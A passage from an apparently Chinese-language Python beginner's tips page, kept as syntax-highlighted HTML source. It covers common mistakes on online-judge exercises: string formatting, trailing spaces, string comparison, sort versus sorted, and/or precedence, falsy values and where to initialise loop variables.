class=\"o\">&gt;&gt;&gt;</span> <span class=\"nb\">int</span><span class=\"p\">(</span><span class=\"s2\">&quot;100&quot;</span><span class=\"p\">,</span><span class=\"s2\">&quot;2&quot;</span><span class=\"p\">)</span>\n<span class=\"n\">Traceback</span> <span class=\"p\">(</span><span class=\"n\">most</span> <span class=\"n\">recent</span> <span class=\"n\">call</span> <span class=\"n\">last</span><span class=\"p\">):</span>\n  <span class=\"n\">File</span> <span class=\"s2\">&quot;&lt;stdin&gt;&quot;</span><span class=\"p\">,</span> <span class=\"n\">line</span> <span class=\"mi\">1</span><span class=\"p\">,</span> <span class=\"ow\">in</span> <span class=\"o\">&lt;</span><span class=\"n\">module</span><span class=\"o\">&gt;</span>\n<span class=\"ne\">TypeError</span><span class=\"p\">:</span> <span class=\"s1\">&#39;str&#39;</span> <span class=\"nb\">object</span> <span class=\"n\">cannot</span> <span class=\"n\">be</span> <span class=\"n\">interpreted</span> <span class=\"k\">as</span> <span class=\"n\">an</span> <span class=\"n\">integer</span>\n</code></pre></div>\n\n<h2 id=\"join\">字符串的join 需要每个元素都是字符串<a class=\"headerlink\" href=\"#join\" title=\"Permanent link\">&para;</a></h2>\n<p>你不能<code>\",\".join([1,2,3])</code> 会报错：<code>TypeError: sequence item 0: expected str instance, int found</code></p>\n<p>你可以先转换成str： <code>\",\".join([str(i) for i in [1,2,3]])</code></p>\n<h2 id=\"_15\">注意边缘情况<a class=\"headerlink\" href=\"#_15\" title=\"Permanent link\">&para;</a></h2>\n<p>题目说的 输出格式 要认真体会</p>\n<p>首先顺序输出从A到B的所有整数，每5个数字占一行，每个数字占5个字符宽度，向右对齐。最后在一行中按Sum = X的格式输出全部数字的和X。</p>\n<div class=\"codehilite\"><pre><span></span><code>   -3   -2   -1    0    1\n    2    3    4    5    6\n    7    8\nSum = 30\n</code></pre></div>\n\n<p>你考虑到最后一行正好凑满5个整数，你会多输出一个空行吗？</p>\n<p>另外这个题目暗含着 每行末尾不能有空格 的要求，你能用<code>end=' '</code>吗?</p>\n<hr />\n<h2 id=\"_16\">学会自己造数据<a class=\"headerlink\" href=\"#_16\" title=\"Permanent link\">&para;</a></h2>\n<p>不要满足于题目给的样例，发挥主观能动性自己造数据看看，比如边界值（最大最小）、错误值</p>\n<h2 id=\"_17\">注意输出格式对顺序的要求<a class=\"headerlink\" href=\"#_17\" title=\"Permanent link\">&para;</a></h2>\n<p>例如查验身份证的题目，输出格式的要求是：<strong>按照输入的顺序</strong>每行输出1个有问题的身份证号码</p>\n<p>那你就不能这么写两次循环，一遍输出前17位有非数字的，一遍输出校验位不对的，只能一次循环完成</p>\n<p>虽然两次循环逻辑上是对的，却没能满足题目的要求，就答案错误了；恰好题目的样例是先非数字错误再校验位错误，但这只是个样例，<strong>样例里的规律只要人家没说一律不算数的！</strong></p>\n<h2 id=\"_18\">如何判断一个字符是整数？<a class=\"headerlink\" href=\"#_18\" title=\"Permanent link\">&para;</a></h2>\n<p>最简单的方式： x.isdigit()</p>\n<p>也可以： &lsquo;0&rsquo;&lt;=x&lt;=&lsquo;9&rsquo;</p>\n<p>不建议的方式： 48&lt;=ord(x)&lt;=57 你不是在写C语言，没必要转换为整数判断</p>\n<p>附带知识点：python里 <code>a&lt;x&lt;b</code>  等价于 <code>a&lt;x and x&lt;b</code> </p>\n<h2 id=\"_19\">字符串比较大小是个坑<a class=\"headerlink\" href=\"#_19\" title=\"Permanent link\">&para;</a></h2>\n<p>这个东西是True还是False?</p>\n<div class=\"codehilite\"><pre><span></span><code>&quot;2&quot;&gt;&quot;11&quot;\n</code></pre></div>\n\n<p>答案是True，震惊！2居然比11大？！ </p>\n<p>注意这是两个<strong>字符串之间的比较</strong>，字符串的比较规则是 <strong>逐字符比较，相同就继续比较，遇到一个不相同就得出最终的比较结论</strong>。</p>\n<p>这里比较第一个字符2和1，2是大于1的，ok比较完成 &ldquo;2&rdquo;&gt;&rdquo;11&rdquo;。</p>\n<p>同理 &ldquo;2&rdquo;&gt;&rdquo;199999999&rdquo;，无论9有多少个都不会参与比较。</p>\n<p>举一反三：max(&ldquo;8&rdquo;, &ldquo;9&rdquo;, &ldquo;10&rdquo;)是多少？</p>\n<p>当题目要求整数的排序的时候，一定要用int转成整数</p>\n<h2 id=\"sortsorted\">区分.sort()和sorted<a class=\"headerlink\" href=\"#sortsorted\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">x</span><span class=\"o\">=</span><span class=\"p\">[</span><span class=\"mi\">3</span><span class=\"p\">,</span><span class=\"mi\">1</span><span class=\"p\">,</span><span class=\"mi\">2</span><span class=\"p\">]</span>\n<span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"ow\">in</span> <span class=\"n\">x</span><span class=\"o\">.</span><span class=\"n\">sort</span><span class=\"p\">():</span>\n    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"p\">,</span> <span class=\"n\">end</span><span class=\"o\">=</span><span class=\"s1\">&#39; &#39;</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p>上述代码正确吗？会输出<code>1 2 3</code>嘛？</p>\n<p>.sort()返回的是None，不能用来迭代；这是一个原地排序，直接修改原数组，不会创建新的数组</p>\n<p>对于上述代码，你需要用sorted(x)；这不会修改原数组，而是创建了一个新的数组</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">x</span><span class=\"o\">=</span><span class=\"p\">[</span><span class=\"mi\">3</span><span class=\"p\">,</span><span class=\"mi\">1</span><span class=\"p\">,</span><span class=\"mi\">2</span><span class=\"p\">]</span>\n<span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"ow\">in</span> <span class=\"nb\">sorted</span><span class=\"p\">(</span><span class=\"n\">x</span><span class=\"p\">):</span>\n    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"p\">,</span> <span class=\"n\">end</span><span class=\"o\">=</span><span class=\"s1\">&#39; &#39;</span><span class=\"p\">)</span>\n\n<span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"n\">x</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p>输出是<code>1 2 3 [3, 1, 2]</code>，可以看出使用sorted不会修改原来的x</p>\n<h2 id=\"_20\">格式化字符串们<a class=\"headerlink\" href=\"#_20\" title=\"Permanent link\">&para;</a></h2>\n<h3 id=\"52f\">&ldquo;%5.2f&rdquo;是啥意思<a class=\"headerlink\" href=\"#52f\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"o\">&gt;&gt;&gt;</span> <span class=\"s2\">&quot;</span><span class=\"si\">%5.2f</span><span class=\"s2\">&quot;</span><span class=\"o\">%</span><span class=\"mf\">1.2</span>\n<span class=\"s1\">&#39; 1.20&#39;</span>\n<span class=\"o\">&gt;&gt;&gt;</span> <span class=\"s2\">&quot;</span><span class=\"si\">{:5.2f}</span><span class=\"s2\">&quot;</span><span class=\"o\">.</span><span class=\"n\">format</span><span class=\"p\">(</span><span class=\"mf\">1.2</span><span class=\"p\">)</span>\n<span class=\"s1\">&#39; 1.20&#39;</span>\n<span class=\"o\">&gt;&gt;&gt;</span> <span class=\"s2\">&quot;</span><span class=\"si\">{:&gt;5.2f}</span><span class=\"s2\">&quot;</span><span class=\"o\">.</span><span class=\"n\">format</span><span class=\"p\">(</span><span class=\"mf\">1.2</span><span class=\"p\">)</span>\n<span class=\"s1\">&#39; 1.20&#39;</span>\n</code></pre></div>\n\n<p>点就是小数点，点2就是小数点后保留两位小数，前面还有一个5是啥呢，表示整体不够5位就左边用空格补齐5位，注意上述输出左边是有一个空格的。</p>\n<p>如果用format，可以看出写法基本相同，这是右对齐用<code>&gt;</code></p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"o\">&gt;&gt;&gt;</span> <span class=\"s2\">&quot;</span><span class=\"si\">%-5.2f</span><span class=\"s2\">&quot;</span><span class=\"o\">%</span><span class=\"mf\">1.2</span>\n<span class=\"s1\">&#39;1.20 &#39;</span>\n<span class=\"o\">&gt;&gt;&gt;</span> <span class=\"s2\">&quot;</span><span class=\"si\">{:&lt;5.2f}</span><span class=\"s2\">&quot;</span><span class=\"o\">.</span><span class=\"n\">format</span><span class=\"p\">(</span><span class=\"mf\">1.2</span><span class=\"p\">)</span>\n<span class=\"s1\">&#39;1.20 &#39;</span>\n</code></pre></div>\n\n<p>加了一个负号，变成了右边补空格；这是左对齐所以用<code>&lt;</code></p>\n<h3 id=\"_21\">那我要居中怎么办<a class=\"headerlink\" href=\"#_21\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"o\">&gt;&gt;&gt;</span> <span class=\"s2\">&quot;</span><span class=\"si\">{:^7s}</span><span class=\"s2\">&quot;</span><span class=\"o\">.</span><span class=\"n\">format</span><span class=\"p\">(</span><span class=\"s2\">&quot;xyz&quot;</span><span class=\"p\">)</span>\n<span class=\"s1\">&#39;  xyz  &#39;</span>\n</code></pre></div>\n\n<p>那就用^呗，这是按Shift+6按出来的符号</p>\n<h3 id=\"_22\">格式化字符串想输出几个变量就要写几个<a class=\"headerlink\" href=\"#_22\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"s2\">&quot;</span><span class=\"si\">{:d}{:&gt;6.1f}</span><span class=\"s2\">&quot;</span><span class=\"o\">.</span><span class=\"n\">format</span><span class=\"p\">(</span><span class=\"n\">fahr</span><span class=\"p\">,</span> <span class=\"n\">celsius</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p>这里有两个变量要输出，所以要两个格式化字符串</p>\n<h2 id=\"thonny\">Thonny的用法<a class=\"headerlink\" href=\"#thonny\" title=\"Permanent link\">&para;</a></h2>\n<p>在上半部分写代码，改代码，按F5执行后 在下半部分Shell里输入用户的输入，查看输出</p>\n<p>不要在它的Shell里敲入代码，因为它不支持多条语句</p>\n<h2 id=\"_23\">初始化能在循环体内吗？<a class=\"headerlink\" href=\"#_23\" title=\"Permanent link\">&para;</a></h2>\n<p>比如题目要求没有错误的身份证就输出All Passed!，下面的伪代码错在哪？</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">对每一个身份证</span><span class=\"p\">:</span>\n    <span class=\"n\">flag</span> <span class=\"o\">=</span> <span class=\"mi\">1</span> <span class=\"c1\">#1表示没错</span>\n    <span class=\"k\">if</span> <span class=\"n\">身份证错了</span><span class=\"p\">:</span>\n        <span class=\"n\">flag</span> <span class=\"o\">=</span> <span class=\"mi\">0</span> <span class=\"c1\">#只要有一个错了 flag置0</span>\n\n<span class=\"k\">if</span> <span class=\"n\">flag</span><span class=\"p\">:</span>\n    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&quot;All Passed!&quot;</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p>flag=1是一个初始化语句，放在循环里面就会导致每次循环都进行初始化，就变成了只要最后一个身份证没错最后flag就是1，你会错误的输出All Passed!</p>\n<p><strong>变量的初始化需要在进入循环之前做完</strong></p>\n<h2 id=\"_24\">学会拆分问题 大而化小<a class=\"headerlink\" href=\"#_24\" title=\"Permanent link\">&para;</a></h2>\n<p>题目要求实现aa+aaaa+&hellip;+aaa……a(n个a)求和</p>\n<p>拆分成两个问题：怎么得到n个a？ 怎么循环从2到n求和？</p>\n<p>不要把这两个问题混在一起思考，如果你不知道可以用字符串乘以整数，那你可以先假设有这么一个函数getna(n, a)，累加就是：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">a</span><span class=\"o\">=</span><span class=\"s1\">&#39;5&#39;</span>\n<span class=\"n\">n</span><span class=\"o\">=</span><span class=\"mi\">4</span> <span class=\"c1\">#实际上需要input()，我们这里就直接写了 需要计算55+5555</span>\n\n<span class=\"n\">s</span> <span class=\"o\">=</span> <span class=\"mi\">0</span>\n<span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"ow\">in</span> <span class=\"nb\">range</span><span class=\"p\">(</span><span class=\"mi\">2</span><span class=\"p\">,</span> <span class=\"n\">n</span><span class=\"o\">+</span><span class=\"mi\">1</span><span class=\"p\">,</span> <span class=\"mi\">2</span><span class=\"p\">):</span>\n    <span class=\"n\">s</span> <span class=\"o\">+=</span> <span class=\"n\">getna</span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">,</span> <span class=\"n\">i</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p>然后我们再去实现getna这个函数，这个函数就干一件事情——输入a和n，输出aaa&hellip;a(n个a)这么一个整数</p>\n<p>输入a=&lsquo;5&rsquo;,n=4，输出5555</p>\n<p>这次我用循环乘法，可以看成<code>5 + 5*10 + 5*10*10 + 5*10*10*10</code> 每次循环都是5乘以一个数，这个数从1开始 每次循环后乘以10</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">def</span> <span class=\"nf\">getna</span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">,</span> <span class=\"n\">n</span><span class=\"p\">):</span>\n    <span class=\"c1\"># 这里我们需要a也是一个整数</span>\n    <span class=\"n\">a</span><span class=\"p\">,</span> <span class=\"n\">n</span> <span class=\"o\">=</span> <span class=\"nb\">int</span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">),</span> <span class=\"nb\">int</span><span class=\"p\">(</span><span class=\"n\">n</span><span class=\"p\">)</span> <span class=\"c1\">#防御性编程，你不知道调用者是否给了需要的类型，反正转换一下不费事</span>\n    <span class=\"n\">multiply</span> <span class=\"o\">=</span> <span class=\"mi\">1</span>\n    <span class=\"n\">res</span> <span class=\"o\">=</span> <span class=\"mi\">0</span>\n    <span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"ow\">in</span> <span class=\"nb\">range</span><span class=\"p\">(</span><span class=\"n\">n</span><span class=\"p\">):</span>\n        <span class=\"n\">res</span> <span class=\"o\">+=</span> <span class=\"n\">a</span><span class=\"o\">*</span><span class=\"n\">multiply</span>\n        <span class=\"n\">multiply</span> <span class=\"o\">*=</span> <span class=\"mi\">10</span>\n    <span class=\"k\">return</span> <span class=\"n\">res</span>\n</code></pre></div>\n\n<p>测试一下自己对不对：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"o\">&gt;&gt;&gt;</span> <span class=\"n\">getna</span><span class=\"p\">(</span><span class=\"s2\">&quot;5&quot;</span><span class=\"p\">,</span><span class=\"mi\">4</span><span class=\"p\">)</span>\n<span class=\"mi\">5555</span>\n</code></pre></div>\n\n<p>最后把两部分拼起来就行咯</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">def</span> <span class=\"nf\">getna</span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">,</span> <span class=\"n\">n</span><span class=\"p\">):</span>\n    <span class=\"c1\"># 这里我们需要a也是一个整数</span>\n    <span class=\"n\">a</span><span class=\"p\">,</span> <span class=\"n\">n</span> <span class=\"o\">=</span> <span class=\"nb\">int</span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">),</span> <span class=\"nb\">int</span><span class=\"p\">(</span><span class=\"n\">n</span><span class=\"p\">)</span> <span class=\"c1\">#防御性编程，你不知道调用者是否给了需要的类型，反正转换一下不费事</span>\n    <span class=\"n\">multiply</span> <span class=\"o\">=</span> <span class=\"mi\">1</span>\n    <span class=\"n\">res</span> <span class=\"o\">=</span> <span class=\"mi\">0</span>\n    <span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"ow\">in</span> <span class=\"nb\">range</span><span class=\"p\">(</span><span class=\"n\">n</span><span class=\"p\">):</span>\n        <span class=\"n\">res</span> <span class=\"o\">+=</span> <span class=\"n\">a</span><span class=\"o\">*</span><span class=\"n\">multiply</span>\n        <span class=\"n\">multiply</span> <span class=\"o\">*=</span> <span class=\"mi\">10</span>\n    <span class=\"k\">return</span> <span class=\"n\">res</span>\n\n<span class=\"n\">a</span><span class=\"o\">=</span><span class=\"s1\">&#39;5&#39;</span>\n<span class=\"n\">n</span><span class=\"o\">=</span><span class=\"mi\">4</span>\n\n<span class=\"n\">s</span> <span class=\"o\">=</span> <span class=\"mi\">0</span>\n<span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"ow\">in</span> <span class=\"nb\">range</span><span class=\"p\">(</span><span class=\"mi\">2</span><span class=\"p\">,</span> <span class=\"n\">n</span><span class=\"o\">+</span><span class=\"mi\">1</span><span class=\"p\">,</span> <span class=\"mi\">2</span><span class=\"p\">):</span>\n    <span class=\"n\">s</span> <span class=\"o\">+=</span> <span class=\"n\">getna</span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">,</span> <span class=\"n\">i</span><span class=\"p\">)</span>\n\n<span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"n\">s</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p>当然这个题目有简化做法：</p>\n<p>n个a这个整数用 字符串乘以数字得到字符串 再int转整数<code>int(str(a)*int(n))</code></p>\n<p>从2到n每次递增2，用range(2,n+1,2)</p>\n<p>本质上是一个列表求和，所以可以直接用sum函数，range返回的东西可以看成一个列表，<strong>列表转换成另一个列表用列表推导式就行</strong> 写法：[something(i) for i in &hellip;]</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">a</span><span class=\"o\">=</span><span class=\"s1\">&#39;5&#39;</span>\n<span class=\"n\">n</span><span class=\"o\">=</span><span class=\"mi\">4</span>\n<span class=\"nb\">print</span><span class=\"p\">(</span> <span class=\"nb\">sum</span><span class=\"p\">([</span> <span class=\"nb\">int</span><span class=\"p\">(</span><span class=\"nb\">str</span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">)</span><span class=\"o\">*</span><span class=\"nb\">int</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"p\">))</span> <span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"ow\">in</span> <span class=\"nb\">range</span><span class=\"p\">(</span><span class=\"mi\">2</span><span class=\"p\">,</span><span class=\"n\">n</span><span class=\"o\">+</span><span class=\"mi\">1</span><span class=\"p\">,</span><span class=\"mi\">2</span><span class=\"p\">)</span> <span class=\"p\">])</span> <span class=\"p\">)</span>\n</code></pre></div>\n\n<h2 id=\"andor\">混在一起的and和or<a class=\"headerlink\" href=\"#andor\" title=\"Permanent link\">&para;</a></h2>\n<p>and的优先级比or高</p>\n<div class=\"codehilite\"><pre><span></span><code>x=5\ny=False\nz=False\n\nprint(x or y and z)\n</code></pre></div>\n\n<p>这个等价于print(x or (y and z)) 先计算False and False是False，然后x or False因为x是真的 结果就是x</p>\n<p>输出5</p>\n<h3 id=\"a-and-b\">a and b<a class=\"headerlink\" href=\"#a-and-b\" title=\"Permanent link\">&para;</a></h3>\n<p>返回的只可能是a和b之间的一个，a是真的就返回b，a是假的就返回a</p>\n<div class=\"codehilite\"><pre><span></span><code>&gt;&gt;&gt; 1 and 6\n6\n&gt;&gt;&gt; [] and 6\n[]\n</code></pre></div>\n\n<h3 id=\"a-or-b\">a or b<a class=\"headerlink\" href=\"#a-or-b\" title=\"Permanent link\">&para;</a></h3>\n<p>返回的只可能是a和b之间的一个，a是真的就返回a，a是假的就返回b</p>\n<div class=\"codehilite\"><pre><span></span><code>&gt;&gt;&gt; 1 or 6\n1\n&gt;&gt;&gt; [].sort() or 6\n6\n</code></pre></div>\n\n<p>还记得上面说的.sort()返回None吗？ None是假的噢</p>\n<h3 id=\"_25\">哪些东西是假的？<a class=\"headerlink\" href=\"#_25\" title=\"Permanent link\">&para;</a></h3>\n<p>0是假的，空的东西<code>'', [], {}</code>是假的，False是假的，None是假的，其他的都是真的</p>\n<p>搜索python False values可以搜到 https://docs.python.org/3/library/stdtypes.html</p>\n<blockquote>\n<p>Any object can be tested for truth value, for use in an if or while condition or as operand of the Boolean operations below.</p>\n<p>By default, an object is considered true unless its class defines either a <strong>bool</strong>() method that returns False or a <strong>len</strong>() method that returns zero, when called with the object. 1 Here are most of the built-in objects considered false:</p>\n</blockquote>\n<ul>\n<li>\n<p>constants defined to be false: None and False.</p>\n</li>\n<li>\n<p>zero of any numeric type: 0, 0.0, 0j, Decimal(0), Fraction(0, 1)</p>\n</li>\n<li>\n<p>empty sequences and collections: &lsquo;&rsquo;, (), [], {}, set(), range(0)</p>\n</li>\n</ul>\n<blockquote>\n<p>Operations and built-in functions that have a Boolean result always return 0 or False for false and 1 or True for true, unless otherwise stated. (Important exception: the Boolean operations or and and always return one of their operands.)</p>\n</blockquote>\n<hr />\n<h2 id=\"_26\">行末到底要不要输出空格<a class=\"headerlink\" href=\"#_26\" title=\"Permanent link\">&para;</a></h2>\n<p>方法是<strong>复制一下题目的输出样例</strong>，看看到底最后有没有空格</p>\n<h2 id=\"_27\">怎样做到末尾不输出空格<a class=\"headerlink\" href=\"#_27\" title=\"Permanent link\">&para;</a></h2>\n<p>如果可以输出空格，简单 循环里面print(item, end=&rsquo; &lsquo;)就行</p>\n<p>举个例子吧，题目要求我们输出1 2 3 ，末尾要有空格</p>\n<p>用print记得end参数要写上，否则就换行了</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"ow\">in</span> <span class=\"nb\">range</span><span class=\"p\">(</span><span class=\"mi\">1</span><span class=\"p\">,</span> <span class=\"mi\">4</span><span class=\"p\">):</span>\n    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"p\">,</span> <span class=\"n\">end</span><span class=\"o\">=</span><span class=\"s1\">&#39; &#39;</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<h3 id=\"1resultprintresult\">方案1：把要输出的东西暂时存到数组result里，最后<code>print(*result)</code><a class=\"headerlink\" href=\"#1resultprintresult\" title=\"Permanent link\">&para;</a></h3>\n<p>题目要求我们输出1 2 3，末尾不能有空格</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">result</span><span class=\"o\">=</span><span class=\"p\">[]</span>\n<span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"ow\">in</span> <span class=\"nb\">range</span><span class=\"p\">(</span><span class=\"mi\">1</span><span class=\"p\">,</span> <span class=\"mi\">4</span><span class=\"p\">):</span>\n    <span class=\"n\">result</span><span class=\"o\">.</span><span class=\"n\">append</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"p\">)</span>\n<span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"o\">*</span><span class=\"n\">result</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p>这里用到了符号<code>*</code>，在调用函数的时候使用星号表示把这个数组拆开，数组的每个元素都作为函数的参数</p>\n<p>假设<code>result=[1,2,3]</code>，<code>print([1,2,3])</code>会输出<code>[1, 2, 3]</code> 两边有方框 不是我们要的</p>\n<p>试试<code>print(*[1,2,3])</code> 会输出<code>1 2 3</code> 它就等价于<code>print(1,2,3)</code> </p>\n<p>看，列表的每个元素从数组的束缚中解脱出来，直接当成print的参数了！</p>\n<h3 id=\"2\">方案2：区分首元素和其后的元素<a class=\"headerlink\" href=\"#2\" title=\"Permanent link\">&para;</a></h3>\n<p>比如要输出<code>1 2 3</code>，我们这么看待：<code>1/空格2/空格3</code></p>\n<p>为啥这样看呢？为啥不看成是<code>1空格/2空格/3</code>呢？因为循环啥时候结束很可能是你不知道的，你就无法判断当前元素是不是最后一个。</p>\n<p>但是你一定知道哪个元素是第一个元素啊！</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">isfirst</span><span class=\"o\">=</span><span class=\"kc\">True</span>\n<span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"ow\">in</span> <span class=\"nb\">range</span><span class=\"p\">(</span><span class=\"mi\">1</span><span class=\"p\">,</span> <span class=\"mi\">4</span><span class=\"p\">):</span>\n    <span class=\"k\">if</span> <span class=\"n\">isfirst</span><span class=\"p\">:</span> <span class=\"c1\"># 第一个元素</span>\n        <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"p\">,</span> <span class=\"n\">end</span><span class=\"o\">=</span><span class=\"s1\">&#39;&#39;</span><span class=\"p\">)</span>\n        <span class=\"n\">isfirst</span><span class=\"o\">=</span><span class=\"kc\">False</span>\n    <span class=\"k\">else</span><span class=\"p\">:</span> <span class=\"c1\"># 后续的元素 先输出一个空格</span>\n        <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s1\">&#39;&#39;</span><span class=\"p\">,</span> <span class=\"n\">i</span><span class=\"p\">,</span> <span class=\"n\">end</span><span class=\"o\">=</span><span class=\"s1\">&#39;&#39;</span><span class=\"p\">)</span> <span class=\"c1\">#等价于print(&#39; &#39;+str(i), end=&#39;&#39;)</span>\n</code></pre></div>\n\n<h2 id=\"printn\">如何正确地换行 print(&lsquo;\\n&rsquo;)是不行的<a class=\"headerlink\" href=\"#printn\" title=\"Permanent link\">&para;</a></h2>\n<p>上面我们都是在一行里输出，现在我们要开始下一行了，你很可能想<code>print('\\n')</code></p>\n<p>这个实际上是<code>print('\\n', end='\\n')</code> 因为你没有提供end参数，end就默认是一个换行，你自己又显示了个换行，那就是两个\\n了！</p>\n<p>两个\\n！先进入下一行，再进入下一行，不就显示了一个多余的空行了嘛！</p>\n<p>解决方案：<code>print()</code>多简单</p>\n<h2 id=\"_28\">循环初始化 放在正确的位置<a class=\"headerlink\" href=\"#_28\" title=\"Permanent link\">&para;</a></h2>\n<p>循环依赖的变量的初始化——一定要在循环开始之前做！不能在外面循环之前做！</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">t</span><span class=\"o\">=</span><span class=\"nc\">int</span><span class=\"p\">(</span><span class=\"k\">input</span><span class=\"p\">())</span>\n<span class=\"n\">cnt</span><span class=\"o\">=</span><span class=\"mi\">0</span>\n<span class=\"n\">lst</span><span class=\"o\">=</span><span class=\"err\">[]</span><span class=\"w\"> </span><span class=\"n\">#储存结果</span><span class=\"err\">，</span><span class=\"n\">最后一起输出</span>\n<span class=\"k\">for</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"ow\">in</span><span class=\"w\"> </span><span class=\"k\">range</span><span class=\"p\">(</span><span class=\"n\">t</span><span class=\"p\">)</span><span class=\"err\">:</span>\n<span class=\"w\">    </span><span class=\"n\">n</span><span class=\"o\">=</span><span class=\"nc\">int</span><span class=\"p\">(</span><span class=\"k\">input</span><span class=\"p\">())</span>\n<span class=\"w\">    </span><span class=\"n\">mat</span><span class=\"o\">=</span><span class=\"err\">[]</span>\n<span class=\"w\">    </span><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"n\">j</span><span class=\"w\"> </span><span class=\"ow\">in</span><span class=\"w\"> </span><span class=\"k\">range</span><span class=\"p\">(</span><span class=\"n\">n</span><span class=\"p\">)</span><span class=\"err\">:</span>\n<span class=\"w\">        </span><span class=\"n\">mat</span><span class=\"p\">.</span><span class=\"n\">append</span><span class=\"p\">(</span><span class=\"k\">input</span><span class=\"p\">().</span><span class=\"n\">split</span><span class=\"p\">())</span>\n<span class=\"w\">    </span><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"k\">row</span><span class=\"w\"> </span><span class=\"ow\">in</span><span class=\"w\"> </span><span class=\"k\">range</span><span class=\"p\">(</span><span class=\"mi\">1</span><span class=\"p\">,</span><span class=\"n\">n</span><span class=\"p\">)</span><span class=\"err\">:</span>\n<span class=\"w\">        </span><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"n\">col</span><span class=\"w\"> </span><span class=\"ow\">in</span><span class=\"w\"> </span><span class=\"k\">range</span><span class=\"p\">(</span><span class=\"mi\">0</span><span class=\"p\">,</span><span class=\"n\">n</span><span class=\"o\">-</span><span class=\"mi\">1</span><span class=\"p\">)</span><span class=\"err\">:</span>\n<span class=\"w\">            </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"k\">row</span><span class=\"o\">&gt;</span><span class=\"n\">col</span><span class=\"w\"> </span><span class=\"ow\">and</span><span class=\"w\"> </span><span class=\"n\">mat</span><span class=\"o\">[</span><span class=\"n\">row</span><span class=\"o\">][</span><span class=\"n\">col</span><span class=\"o\">]==</span><span class=\"s1\">&#39;0&#39;</span><span class=\"err\">:</span>\n<span class=\"w\">                </span><span class=\"n\">cnt</span><span class=\"o\">+=</span><span class=\"mi\">1</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"n\">cnt</span><span class=\"o\">==</span><span class=\"p\">(</span><span class=\"n\">n</span><span class=\"o\">**</span><span class=\"mi\">2</span><span class=\"o\">-</span><span class=\"n\">n</span><span class=\"p\">)</span><span class=\"o\">/</span><span class=\"mi\">2</span><span class=\"err\">:</span>\n<span class=\"w\">        </span><span class=\"nf\">str</span><span class=\"o\">=</span><span class=\"ss\">&quot;YES&quot;</span>\n<span class=\"w\">    </span><span class=\"k\">else</span><span class=\"err\">:</span>\n<span class=\"w\">        </span><span class=\"nf\">str</span><span class=\"o\">=</span><span class=\"ss\">&quot;NO&quot;</span>\n<span class=\"w\">    </span><span class=\"n\">lst</span><span class=\"p\">.</span><span class=\"n\">append</span><span class=\"p\">(</span><span class=\"nf\">str</span><span class=\"p\">)</span>\n<span class=\"k\">for</span><span class=\"w\"> </span><span class=\"n\">z</span><span class=\"w\"> </span><span class=\"ow\">in</span><span class=\"w\"> </span><span class=\"nl\">lst</span><span class=\"p\">:</span>\n<span class=\"w\">    </span><span class=\"k\">print</span><span class=\"p\">(</span><span class=\"n\">z</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p>例如这个判断上三角的，先看这代码的本质——循环里面有循环，外层循环（range 